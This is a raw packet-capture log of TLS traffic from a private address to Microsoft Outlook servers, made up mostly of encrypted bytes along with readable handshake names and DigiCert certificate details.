10.152.152.11:63942 [AP] #12\n...........D.......G...b;._.;.w...v.32.OYHP..%35.....P.V|#...qw.c.......0H.*nd...h..6.f.....EK..#.......-i..q.R<....2. Y..`....\nb.yw)...Mf..t..k.R.P....B.-...Kp.^..sa..0.#...1..[.m...R.^...>c...M.nItG|=..?..P.7.{D..T.\"\"..._...........(E1U.g~.R.[A......o\n..^.j.\"\"....,.H.s..:.A\n#\nT 10.152.152.11:63942 -> 184.30.157.69:443 [AP] #13\n.............S.Tk.7T@....U....A...bxY.Bo....^.=#.Q<n...p..j.d.u_..+-.?%....T....P..x......f...\n...2..C*z..{.<B{.J..#.@m..@0.{...-b.$|.{,k...=M.0<l..3B....'e...U..!.;jF...u.7.g...\"\"\\..[[.....N=$\nf....D.#/..+.).C.........M..(.._M.o...+..,O......u.5.._.3.$..B...~.....3....(L..(..{..Gj+.q5.....|...*..F.5...;uh..tu.R..l.n...V~....1'^..e....\"\"k.}k....&.....9C.=..Y..G.5.)B/..zZs.....T,D.)......PK..biQ...~.,O.^.e.J.#s_.....y1Q...[?..<.. y8...}..&.l....BqZ.U..P.D.L.....R.X)..j.....Us...-...$...a.5..M7\n##\nT 184.30.157.69:443 -> 10.152.152.11:63942 [AP] #15\n.....E1U.g~.S......C[.D..R..1/.fM#E..Q....o..hz.:R....R.#..*.kB.J...).,.-.@K4s.S..s6......c...4.....j.....`Y?.q...&k....]...o..z.0-_\n..!s...#y...Z.w[. ....e.J........]uZ.a.......f..F..2.......h@...D+...e..Sp..w.Q^...T0.a..L.~...!f/...r.~Or..S....9...'<P.C...=.?..&V...k.c>L#r...<...U.;..'..;....N.....X..&..G.G.hy.5%..H.:.N.J$....\\.I.w..Z..z....[..e{.........za......H...^H............../.S.Y.c`uu.......7C......UbQ.=......-...x......vr.T=.f...60..hU..E.\n......M..pn..z.`d.._]4b.c..q.i...d....{.......<......z...U..a.....;..mi.s....0.....H......)...A.....D...\\Ak.?.)^...T.7m..g....).e..y...7B..V..K....`APrF..'= `..(.hc5@.L#..KJg#.}W9I'e..A..F.3....#L..&*s......GXN.'.C#..>.S*....\n..qp.r...E9.d..g.rR.a.........V..Pm0+a.\"\".&.:L.|..z.....x..[.d\n....i.....K.s0..}...AP.VZ.....E..C!)......i..J(.A\n..@......!..<..:.1h`.e/E.....J..j........F..'...k...x.{sc.....J....{.K.!...P..Y..Cc..K0.d.w..(.k..=T..aW....w8.gCe...e...\\..pI`....z....../.h.5....x'VH..(.g..a...H..9...nE.$c....!.X.........T......J..bGA....W..i.....d|.\"\"...Q...y.En..j..>.......<....U.......o...../J.B.=..Y.-J.........s...W....o)...UMO..I......... ...sT_.|P.W........h.@......O.N.!..`.LM...6F.D.q^.0...............[.XQU....<D\n*W.?=....v.a\nn..\"\"t..o..{..gWMa..d4.......^x%..f.6A..6..c...G.L........'.%.Vung#.r.......,Fp....,Pg{.....tU.w............BA.R.)...Y...2...@....n..1.xL.C..b.\nBD..R~S.g...,k(q.`S...o......._f.%a....b..GU^6.5y5.3n..b..Fpa...D.b..B...../&....f..&:.....O>....]+.....|.....\n......f..6..A.3.j....'u....:0J....D.3.^H....... F.........$l.W>....D..._.......\\. ..........;n..|T...t\\@.]......TKF..9..;.U.....9...=)..>.t..............&.=...R.<..1..6WH..............H.............._.......F...>E..r....,ZE....V....#...)..f...K..D.B.ij:....\"\"...?.|ZS..uiD........5q.&...&e>.-}1....oe..vn.....V2.E..C.g.+6...N....|s.,7CE{X~hJ..fl.?.....u.<`O.1..e..r..|.o3..S../..n.O.9|.Om...]h..m.......m;.....tfEM.......*(.<X...'......}....]......+.#}l:.D.....\"\"\\..6..<..,...&e5$.zr.;Ky.&;......|.;..........d......N..a..5.k.of.....\\f...P.ar...Y.?9..9Z3....].......U_x_....)@^...*k./.\"\"P...}}v~..W..Nc.._.Q.a...*:.e.+..y3.]..J..9J.......i.......m....&j...7...>.. .>.....T.7...g..k[...zt....*..\nz.......u..(..):...`....Wc:7....F...vC..v.'...`..y.D...\\.8...........0D.\\r..Eq gW... ....A#....A.d.\"\"......iPSxuD.1..x[.,..s.+..4......L#......O.k.oN......+~,....Z...Jf..;'...Q../.....)...k.......W~.]...3s..h......w....7...p.Jf9J.....0R.....[.....'..:..U..`p..hw...l....2.........z..<-..\nv.7..G...X........'....<.......'.x..d.....8.~.%....}...W;..y2....\\...%.>..VL)>:...$_.R..sy....N)..l.......w...^..>.[.....gq........K7..--'.K`.}..)$...}..............N.....Xj...08.4.e`.u8.8..2..w.....?.....d?..&...kqK....s~..*.)Y3...[.$...en.lx.P.....\n..p]..............l...3<..y...-.....P.wk5.$U{N[.............y.J\\}.=&H2.N;7v...m..J.zh.......6.AE...\"\"IM'...Zw>@_......rr...BC.D..............w71.C..x-.. K.M..@..R.....'.....e..!...=...X.....2..A..\"\"$....1..P.*(n\n).....M(..;..b.$k|.......B.;.2|.q?......>X]..p.f.C/E.5<..!H.......4.{r.uF..X..Ge.BA5.i..Q._.G.....7l......=......BT.._..L...2..)..0....m..F..#..j.....J.b...\n.|......[m...I....F.:.....u@.I.1......^1......a-.M......s......W......7Q..1.r4.....x\n.....q........*.=...'.......Sy..r7m.......n.0:..-......R~.AL.gm..h..i.j.|.S^.e,.O2....Q.5...~..i/.{...%.....s/.F..............e.v.tS.|.Ex....qa.fc.R.-G..6..x=..h.DyE<..h.WA.....u..3......@.....KZ..&..z0%..bOcl....qq.Ye.....0$R..,v.f..+..\\.p...h.t.....\\.B..~..~..h...XD...h.j.b..a/..\n##\nT 184.30.157.69:443 -> 10.152.152.11:63942 [AP] #17\n.v.<.h..,..GZWy.....Mf.............k......%`.w....\\.bK.V..e..b*f2.h......m........b+.M.*...._a.#...#......G.#._..q..@O......G.C..e.p{.G..N,\nV..TX5...!.=/.xC....!R.....NM[/.d..8U!.....G..T....KB.v...U.]...X:%..9.....!.c.....z[>...r6R.../....p.#H.4n....._5... ..#.....x..$...k...ENky..#...2n|.O...._.3.\n}..v;CW.....].e+.>.....fv...Lr1....wb.ww ...k[\\ZS...mI..IR7..P.2..P.Y.r2....i..$..Ogz.B...a.-....\"\">.%..SW.w.p...6......3....:......h...Ly...B=.Q.g...._..}..X............w.5+..Z...zoF.uL..gu.......e{.7....u........g...>.b.$..0f..C/[.1...R#.QA.Y..A.;..9]s8...a.....]SY..9......u...t..e...6....X%z.....m.A8.x...../..2KC....6..e&...I~..a..77fa..o.5t.k.NV.0...M.....'.8I.^........T.Y..{..a.=.Ta.^.`....u.....<;...yJ...t_P...wY..g...U.:.............C......./.......k~.0|G\"\"..L.\"\"......o..Wx.....\\#v.A..V......U\\....A(}.6....|....|........z_....../<uS*.-..{.._.U.+%.]..g....c..\"\"..H...>...I:.O.v.:3..h.B....k...l.K=....W...X.;9....MN!.....i.q........_...H.2j..........5W.J..K....OLm.<I3.....K..^.9.lp7.0..X.l..!...0.<.....f..e...&]..T.3..-.J..W\\&...int.DB&..._g..(]n.:.\\..@0(.Sy..xl....$.W..\nAi.b .d%.e....$L....@y..j.dy..1.\"\"W.$C.......+.o....=G.Q.z.h.v..#......s..Pe1...I.....,....(_q=)..N ...z.....+G..-.i ..v.C.J.&W36.....,.t...#~Z4.-.j.u...C..I;n...NPA'..y...S.....9.K..z..J]....e.L.......RQ..gp.....6..z.8..?(.>..M\nx..u....h..pM.G....Y}\n.C.(;..)z`?-...rs...\\.......*..*...I$C...|.....0...1h...9=7....oU...*...r..~t.p.....0...R.Vy..(9~.u.IpA.Y.X.N...F.......W7.].Tx^...a.\n./.>.....BHm*.1...y-....n....Tx ...d..N.75..z.........u9.i%,.@uZ@...C.{..._.........,..b..X...w.D/.3.....A.......daX...~.-.g[..KM E5&....D.<)~R....\n..i.x...K.....-fo....B_.N\\..v...B...*...!.04.9...Li..........:.......G...:.\\.x..b8.. ...S....W.......%|..j.:z...Q...F.9.x.%.\"\"..E..s.U..,...,.OG.E....^..4.iU............}.SM@k...-...N.X8......t...fod..u?...\\.l..Of;r..f......$'BZ.J.....A...ch..9.......n ......t..<Q..../..yY9D.......}. . ..M........D....S.y..M... .i.....K./....o)..afd.....T..qe..k+...K.EK.1q.t.*..(g%0..}.\\.:;R.:h.O.}Jq.OF..........._...|l+....F..$......P.7J...)#B....Q........c[.........X..).W._?...+..A.DM!.}.....c...{CP.w.#.FL3....T....U.qOf.zO..f..}. ,..}...0r......o(.;......4..{.[p........./ }.. <*.t>k&.7D.^....]l.v.z.7..v...U#8\"\"..Y6.A....ZQ[I..zvfh..3....Z.ve.........|.L.......SS.G]...........D.W...@.M@'h.....K..!m..M..MpN.<.R[eWl...xf.VO.?.s.I.........r%........i..C.&....K....N.....S`.B.u.w.,.E)..s.X...4uA...S..hu.|.jyc..o.h....\"\".]nM.U..\"\"W.....G.+...}..U5.\na6......w......%.9n....jh2.....LA?*..FP.A..%..zh.NP|b.`.b..<.\n.v.R.k;..V.......)..(o7.~.k..]....C..../KhD..'.2..(..D...i.Z...O~.p}...J9~.%4.m...Q..{..*.`.w....0z.s.$...R&..QL......2.D.n..L..C....Un..S.......VDq..}.....#...GT....y[0B.afv.U.....w.2.\n..8.'..A.M..]..;..gWBY..xs..3..T..W....s@LY3]..pc..q...E..(.5.q..8A..7....x..y.%...S......N..jF..+..q.4A..uh.Bo#c.....Ga.p...y..H...?Y4...vD..........kZ............Q....e..$.....},ZD.7..,..V.._u\"\"...&c..... }\n..x..^u.'.st.7.@.y........c.<..$..U..U..l|1?Aa..`...........,*......R.Y..[.............$z;3........V.....1.l......p.o..qG.u.sx\"\".HK.....m..j.7......Jn(\n5$o\\.Iy..#1.=l`_....Z..`.B.gu....C.2..]N.$J....iG.j..J.......>.3;@au.oR......>..1.8..+...&.+....A=..kL.........A....D.|$..a....b@...A.V.N.......u!p.N.H0..J.o...<B......N...`C3...I.&.\"\"T.n........-..|..t..XU(..._\n..L.F.:..m.S/5..D..D.d9...3.i@..Y.....\"\".?..........Q.d3..Z/N.|....n...Z...#\\...&^..T...d{.P.8?..............!........}S\n..\\......\nr/J..C9 .1.e.h..U.w.`v...Q.....;'bZ.1|\"\".....E.$S..*7.c..............=IK/;.99N...S..7........Z..$/....|k. kY...Jx./=B#m}JD]...< .n.....\n........,W~zi....e..\\$..p#...{..8.t.....:s.gp..c.~....@.c@.>.>.;/....x#8..M0sa..)....d....W..F...g....x.)...)\n....h.......sA.d.kQ`w.@7%.........);.......\\..d..)..m..t..K.%...Wv....V.}.<u..9k...i7T.8....P.+.N_....j...ah.Y../...x7V/j\\mJ.%...$.b.(..=..?.).H....^E....Q..7......D....5.......Q.......:....;u.=C....I......E..u6F...M.U.0... ..`...LW.V...O&U.sc....._...\\...O...\n##\nT 184.30.157.69:443 -> 10.152.152.11:63942 [AP] #19\n....i.3.\n8q.hg.P....y........9...6.e ......@.[6....Z....e.......si[..Iq..j..<KFp..\\V.....n..F}..j..TI.....S..v..s..{....7.f....]..m.C#...Y....k....q..e....[f.dp.?.\n.rO..l...........T..\n..3`...G\n.ZU........\n.!...Qc}.X(...(...yh...K...e@....%9.7Su.....!nZ0..-.}..y...p.....JO..7...GQ....3...~o.q.j1....Td.../..S.......A4.../...E....k...|.F.|YO.o]....j.C.......,....F.......A...0.....a..}... ._.*..>..13..W\\+..o.\n(.t..H(...K.m(.^6..M......;...Y.......^:....p.UNin...;.........\"\".Yq.......#v..?....:.Vq[g. ..)3<5.\\?7..$....5|jX*...i].w.8D......{...\nqQ3.u1.H..?l......c...l},...#.4.N......*X...vR....O......x..w].z8.%b...2.N)z.ZP..8\\.y0/.iS=r..=..-2IA2...>...;...F.,....C..`.m2.._....mm....N.y.b.b+b.z...,Z....T....l.q...F/....,.....8..d....4..F.h.f......uVl3^.Q....'&..H.....|&.7m..\n##\nT 10.152.152.11:63942 -> 184.30.157.69:443 [AP] #21\n....y.........7..G.r59.f....X...L_....[Uq..A.N........@d-S......a.l...Vf......9.BC!.....6U..,..:m..2.....*'...-[.u.....J4@X..:NAn.7%.DY..V~T.&\"\"..U..41..nw{!J.C...F.*.....`..+.B.'..z.b........D.t.6...........0Gz,..c..n.+r..........E.'^....p.1..(.M.8x.b T.]vU/N....'.H..,....@....._...|..0S..z..Ic8........P....S....$..!9..*.V.l...9A@...p...Q..@..3{.y./.*..s...S5S..cV...../../...`.M.\n##\nT 184.30.157.69:443 -> 10.152.152.11:63942 [AP] #23\n....tE1U.g~.T!f...5.+...@.....c.........e~...n..idn....9.l.23.(d..p.........%0ru`.....e...$2Rn....?.e....p\"\".z$'..K....w.G...d...p.........J9.5...t\\.g'..Q....W......w...D.....i...,.s...`....;sM)B].K(..7....l.a{}.i5e...0....]LI.p[.........3~....}...\\.\nD.1......$....0...f( lNM%`{.l.v ..!..\"\"m.?7*.pt.........3>..|.jO...X...'.{...\"\"W'..de;?@.8.w{...7...Q.......).\n.../..mD.....d.:.I.X.y.(p.Li....M.%.j.....9.9d....D.....m....J..!.*.t..R...L^n..NK.....\n|.i....P...N./..;.t..h]....m.N. .*...9..>Ax.....cF...{C.\nn...K....Q....v2.Y.\\8..D......@..?...g...$\\./u...b.&@..(k*z.b.N.XR<.B.nD.......3/.fB[.......2Vm0..x.4d...\n....|..A.Hn,.\\`.A......\n####\nT 10.152.152.11:63963 -> 40.99.204.194:443 [AP] #27\n...........j/...H.L8....2A....5.6/b..C.o.....&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...s.........outlook.office.com..........\n...............................................#.........h2.http/1.1.........\n###\nT 40.99.204.194:443 -> 10.152.152.11:63963 [AP] #30\n........f..j.....7.../.I+..I.G.\"\"...DOWNGRD. f\"\"..X...%.h..u.V.-...$b.. ....;..0........#.........h2................M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r\n##\nT 40.99.204.194:443 -> 10.152.152.11:63963 [AP] #32\n....z6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260611071905Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260611070300Z....20260618060300Z0...*.H.............a..0.Cm.<..........%......3B F..e2..t.........?...r8..gZ.....!r.|....~:...X.>;w.].mc.Wg*.~.hL..x..8..I...i...._@.T....:.9......(kz.E..n.Q\n.>-_.6....Lz.....*7.....I...t5|./..8.u^..]D.VW.=.4.$..<s.zL``..sb.....A..o..&.$.j.Fu....S_.........;.,..k.l.N.h....X.2...i...a........oez......%...2Hf.>....3z..h...Tm.w.o7...~'>.fG.[?..^j@.K..Ed..r7...j.......#.&.E^.....?o.....j[]....;VJ..)1jNB>.8?uv.....kby.F...~.Y.q....D.f..+..%......)]d...z.._.4s...ZAry...t....e@0\n.....{W2..0j..P. .........T... ..%....3.........m.v.#M..t.....;*.hh..?6y...QF........sa.R.*I.. .?<..O.].u;f......KI...G?..-..}........}..I3.........4.9Rx\nlV7L..........\n##\nT 10.152.152.11:63963 -> 40.99.204.194:443 [AP] #34\n....f...ba..}..H./.Z...\"\"~p*m.B\\..].N...Cu.....?%N....'....xy..-r'....X.X0.........Y4..*.....Y.o.]]:..................(........z........ ...~z....V8.I|.....o..\n##\nT 40.99.204.194:443 -> 10.152.152.11:63963 [AP] #36\n........*.....$....\n......C...1.-........_....|h6YO70.....hX.C.0 ..h\"\"V..w._Y..PP.....Q..._. @....VH:\"\"~..\\al@.$H?t.=.....l..a...U......y.*..t.h:.....C.D..N?..7...{]...q~.e.T..\n..g.....W....U.]nm|A.X3[..g0-..5...b.......f.2I8.X5P8X..%Y.N..VYr..O...~s.7W...........S7..;A.:.......7.C,E....l...,N..FAs.Q...Xg.a...........(........+..........7y...).....-.F...i.b.....@.........W...p7?..'.jR...{P.i'.>..s.......P..........E.'.K`..rw.\n##\nT 10.152.152.11:63963 -> 40.99.204.194:443 [AP] #38\n....R............RK...[..J..V..>.{..z..2@]..r..g.0iD........\"\".xVA..#U`@........,..O...O\n##\nT 10.152.152.11:63963 -> 40.99.204.194:443 [AP] #40\n....!........M.....]Q3...y&..kg..v7.0.\n##\nT 10.152.152.11:63963 -> 40.99.204.194:443 [AP] #42\n....m...........1....\"\"....I!....S<E...i._z.b....z.....^.f..-.#d..?.^.....w..+.\n4o.m..@t3.2j!k...g.i.~.e.A....j../\"\"\n##\nT 40.99.204.194:443 -> 10.152.152.11:63963 [AP] #44\n....!......../.e.Li.tN.>.....3ow....0.....U........u.D..^.L>B@t..Y..d<.........8%..(..gw.:X.....0.No..I;.D\nUgE.....3.!.%.....E$..eX...QQ......9B....O.q:E#\n......^....F]..3...t...780.y\n..#.....kAkd....(.....G..M.JQ.................O.*........h...7Rm\\;.si...'...,.\"\"t...........75fK......9z....GXu..o..[.%>.*.......b.au.2I.WfmG.W{..........X..........Y.|.....N...)......>%.B...)..8....].;..>...<.....dgm3.O.FA. ....G..:....p<....@g\n../...?.u.....Ir3...:cAs......G}~Vx../.f9.)v..u....J..a}]..].H#........z..Uo....1yJ..b.L.X..DV.t.1....-..:..B*...d.0n.1+8..1....T..{......=vI.3.p.P.0% ..r.a.._m'Hs-.f.e.F....)4.....xx.|..n.><.azX,:(.v..e..:...#....^..ti..}H_E.@.^...m..F..)..Q...a1.Dk'...O[E..YQ.'.\\0dN $.......|[.....X4..e...6..../8...2R....@..\nk=.TIl2.......%.y;.....Y......:N77l.f....pY.W.NI......mL..?.............s..;....8.....?...~3.......p...y6.A....uq..l...E.R....-. l...3...V...|1.P.)..(H...k.............x.7..?C..|.wj....M.9......z. .\"\"r#F\\.!{L.c.H....h......P6'. .?....).xe%.&..F:).....C...:..I...O\\.a....R..e...@...b......n<..%.....U.%..U...dU..h.3......v..U......>..E`.\\d.9...7..v~Q1.0}...=.!.v<.J........!........6.a.pO.....Z....4j8f.,.[.\n##\nT 10.152.152.11:63963 -> 40.99.204.194:443 [AP] #46\n....;.........B.[`8e...z.dbw...D........tLG..~..zh...2M...|....y\n##\nT 40.99.204.194:443 -> 10.152.152.11:63963 [AP] #48\n....v..........A.iX#..x.M.'..@.......z.h.@]'.8..D.....oGv..t.c.h....J2.?....V4..:.fem.L...aV.*.]2Y...#.b.p$.{V,A6.P....I....y.E.....}..s.a..sW2....d.k..s......T._.{...AH....U...D.U..h..rF.......+n....K...\\......DY..X.,S...H..x3\n@..T`..o.p../`.U....F.?.......xG.V..VG.........N.........%F.f.... ..cN..-.{..d....O....e6oP..i.D..%....n..N.?..Y.dy.....G...H.&......#.....%Y.,.....q}.b.F......pJ.#u[..-..>.K0..y.....<.N....v:+g.....u..:...jP~.R.g;.e.......|.6.`.y..Z...Q...%..{Y.HJ..i.E.....f...K>.y...8~R.FN..\n........:..>s.......1.T......p`...%...!u\"\".)..).=.I.31X......B........s<..|.:.-cYZE3..H..r++K........Co.M<..\n?.}...?..z..;........\n##\nT 10.152.152.11:63963 -> 40.99.204.194:443 [AP] #50\n....i........r..7.:Tef......r..qQ...{@>.\"\"D\"\".B..z ..#....%...h......].h...s.-b(........|..NC\"\".......B.v.e....V.\n##\nT 40.99.204.194:443 -> 10.152.152.11:63963 [AP] #52\n....o.........:m.@.:.i%.....=..P...l$.$.q..x9nx..../s...r1...y..Y....y...`-x....r...K..Q...'..f.e(z...G3$.s.x....\"\"......E....o.._7&`......8W...,.....'-..FtD..vKaft......u.+.w..s.{.M..:......m....z..2i..V..Z...\"\".7....w.......Yu...i...=p..%d..|.8.}...N...$m.U....i..p....dM..m..HaCya....H..VE<[>.)....OV...d...\n.T......i.J2N8.W..~..p3....6&...L.N]qd+Bc..}+...........A........yY.....L.......:.....,a&......3.2.t.p7.(...RN....=f..p?.5..5$...)P....a...........A......W..&.P..<...?.K...H`;.......=..... .F.b.(....b........^...y....A............IY.1^.....b]....3..hR..wm...(M...y.v..n..yu6.......f.6DGt.t..n..G...i=.-...Q7N.P.\n..k.4..\n#####\nT 10.152.152.11:64008 -> 52.98.232.34:443 [AP] #57\n...........j/...`...i.....}..l)N..u.%........&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...v.........outlook.office365.com..........\n...............................................#.........h2.http/1.1.........\n##\nT 52.98.232.34:443 -> 10.152.152.11:64008 [AP] #59\n........b..j.....W..........D.O....DOWNGRD. K\n...dE\\..)..u.....l..X6D....g.l.0........#.........h2............M..J..x0..t0..\\...........ef.A...i.[|s0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...260318000000Z..261002235959Z0j1.0...U....US1.0...U...\nWashington1.0...U....Redmond1.0...U.\n..Microsoft Corporation1.0...U....outlook.com0..\"\"0...*.H.............0..\n...............5.....5...g.-..x.K.g.N...U|....p8r.e..kv\nji4^..>...g.....U..9.t...:.....iuP6.;...8....0+.20..8.(`...1.......a....$.y..a..-.#.MO.@.*.....I.#...E;vL.Y..Cpe.R..........$.......|Tz..|......a.E!....p ,..p.>.{..bG5?..f.U.U.....4...A...x.2..~.^......:..........%0..!0...U.#..0...t...f..7...)7.......0...U......vE......_.$U..`.....0.....U......0.....outlook.com..*.hotmail.com..*.internal.outlook.com.\n*.live.com..*.office.com..*.office365.com..*.outlook.com..*.outlook.office365.com..attachment.outlook.live.net..attachment.outlook.office.net. attachment.outlook.officeppe.net..attachments.office.net..attachments-sdf.office.net..ccs.login.microsoftonline.com..hotmail.com..mail.services.live.com..office365.com..outlook.office.com..substrate.office.com..substrate-sdf.office.com0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0\n..+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..}.\n+.....y......m...i.g.v..1~WE..E..8...A...!Z\"\".....v...R......'.......G0E. e....\\Z:..#mc..'.<........K...y..!..a...#\\.:.8...C..o..Z....i.J:.N..u...U;.Oz....o.O.....^.U&....r.EK......'.......F0D. Y.<..L.B..6W...w..a..PV..8....... p.zN.%D..=..{<~..H.....q2$...H33.v..NC........$&..e..._8..?rg}U7........'.......G0E.!.....r....z6....K..vxz....3.M=.... yF)[Ro.D...H.........\n...7*.`...0...*.H..................-.......@M.|8%.s..P.iYl..&......t..I.3._n.$5.ol&Xv..V6t..zT;....r....gS.5..........\\}.....R.R_W........0..F4.8=y.a..u+...,c.........O.J..F.\n.#..8..B>*I....+/B.....x....(....s...%<.....9.B.R.'Km..A..'_...;.\\06..(............{.t.y.p. C+..c..q\n.u..^........0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@...........0...\n......0.....+.....0......0...0......t...f..7...)7.........20260613071902Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7.............ef.A...i.[|s....20260613070300Z....20260620060300Z0...*.H................M..j....L@...'u...S....&.b..lv.bn2R.+.K\"\".n..O6v..v$.I.......SL...?.y~t..6....a.n.|y;;..@...........N.).T..K/....qq..s..\\.4....*.[azw.{..wI.w.$.d.._.Z..z...=.....JB....H....\n.._,Z##....'X.H.A.#R.P.l.=..W.\"\".y...!.G.i.%.X<W.R.>....\\W..X%...QR..-.J....6w(T....i...a.\\..a. a{...y..h.J.u'.{..ia...B.d.FW...,.[.O.\n##\nT 52.98.232.34:443 -> 10.152.152.11:64008 [AP] #61\n`...1...(.Ij.n...Jb.o`...........A'.Oj...k.r{r............E......)...y....&..S..\\Z.k.;..`..or.V.&....../.7\n...*.*t1..4.P.*.?.+:W.U...^n....(uB.R0@..E.=#../.......n9.G^.6.A..K.u.\"\"0..=..U..M.][lT..SFH.nz.q....F.)*.1j..Jf.A.;.@..gMm...0;.;R.o........:g.}.@6...c{1z.-..%o....^x.6.U.T.....@\"\"..1z..O..q........$....k......\n##\nT 10.152.152.11:64008 -> 52.98.232.34:443 [AP] #63\n....f...ba.3..i`.ntm..5>...0....{.1........s....`\\..8Cf#w....<.%..p.{...v....?......4~..x........z.....q{............(.........s6XLs..;3..,....Z.IA.........B \n##\nT 52.98.232.34:443 -> 10.152.152.11:64008 [AP] 